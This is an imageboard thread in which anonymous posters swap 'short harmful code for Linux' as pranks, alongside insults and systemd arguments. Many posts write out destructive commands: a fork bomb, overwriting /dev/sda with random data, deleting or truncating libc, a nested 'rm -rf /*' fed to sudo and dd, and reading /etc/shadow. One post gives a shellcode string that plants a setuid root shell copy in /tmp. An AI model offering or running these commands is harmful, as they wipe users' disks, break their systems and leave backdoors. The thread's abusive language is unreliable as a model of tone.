ITT: post some short harmful code for Linux firefox.sh sudo

>>42882264
wow, you're super funny!!11!!! xD nice le meme friend

go back to fucking twitter or something

apt-get install systemd

>>42882264
I doubt people would be retarded enough to try to run their web browser as root, but people are fucking dumb so there's that.

>>42882273
chill out babby

>short harmful code

gcc helloworld.c -o out

>>42882283

cowsay lol

:(){:|:&};:

>>42882319
>emoticons
Fuck off back to Reddit.

>>42882329

that's pretty good bait

>>42882334
>le cute faecs for ur shell
No, you are the bait.

>>42882329
>>42882343
:^)

emerge -va systemd

>>42882329
that's only emoticons, don't get mad

>>42882329
Made me exhale through my nose harder than normal.

mv * /dev/null

>>42882319
there is a even a fork bomb t-shirt
rule: if there is a t-shirt of it everybody konws it.
Find something new.

dd if=/dev/urandom of=/dev/sda

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

>>42882264

# pacman -S gnome

installing bumblebee 1.4.31
https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/commit/a047be85247755cdbe0acce6f1dafc8beb84f2ac

>>42882795

I see wat u did thar

I figured 'dd if=/dev/urandom of=/dev/kmem' would be interesting, but nothing happened yet.

apt install systemd

>>42882795
--noconfirm

rm -f $(ldconfig -p | grep libc.so.6 | awk '{print $8}')

Or!

cat /dev/null >> $(readlink -f $(ldconfig -p | grep libc.so.6 | awk '{print $8}'))

>>42882283
>>42882369
>>42882971

hey /g/uys, what's wrong with systemdee?
this is one of the best things that open source community created past 20 years

>>42883041
top b8 m8 i r8 it 8/8

>>42883059
th3nx m8, butt it aint b8
tru m8s, dont h8

>>42883092
>butt it aint b8

sure thing m8 that's some tip top b8

>>42883041
> open source community
Found your answer.

>>42883126
are you implying that closed source systemd would be better than systemdee we use nowadays?

>>42883188
No, the best would be if the fucking leech "open source community" would get the fuck out and let the free software community work in peace.

>>42883221
open sores software is free though

>>42883285
open sours software is free, but free software may not be opensorsd

apt-get install selinux

>makes the NSA see all of your shit.

apt-get install systemd

>>42882319
What actaully this code is doing? rm -rf?

>>42884365
hasn't selinux been audited several times?

>>42885338
it creates muh forks of one process over and over
sooner or later, your computer will freeze

>>42882264

sudo wine wordpad.exe '\etc\shadow'

>>42882298
As in GCC is harmful or fucking up the -o switch is?

>>42885655
>As in GCC is harmful or fucking up the -o switch is?
It's a clang llvm troll. You know the type. They get fanatical about it, but never programmed outside of a cs 101 course.

>>42882329
Almost fell for it, 9/10

>>42885628
I keep forgetting to apply a user process limit on my server, in case one of my users for whatever reason runs a fork bomb.

apt-get install dbus

>>42883041
Suddenly, newfags and dillettantes worldwide are aware of their init system and numerous other points of system arcana that, for the average user, should just be quiet and work in the background without any user intervention.

I don't know whether it's breakages (distros requiring manual intervention) that have caused this increase in awareness (and, at the same time, obliviousness), or just the personality cultism. Well done Lennart. Really, well done.

>>42882601
You can't send files to /dev/null. Only data streams.

mv: target ‘/dev/null’ is not a directory

>>42885832
Which is where FUSE steps in.

https://github.com/xrgtn/nullfs

>>42882405
Made me exhale through my mouth a couple of times.

>>42885743
Isn't awareness a good thing though?

$(echo rm -rf /* | tee >( xargs sudo ) >( xargs yes | sudo dd of=/dev/sda ))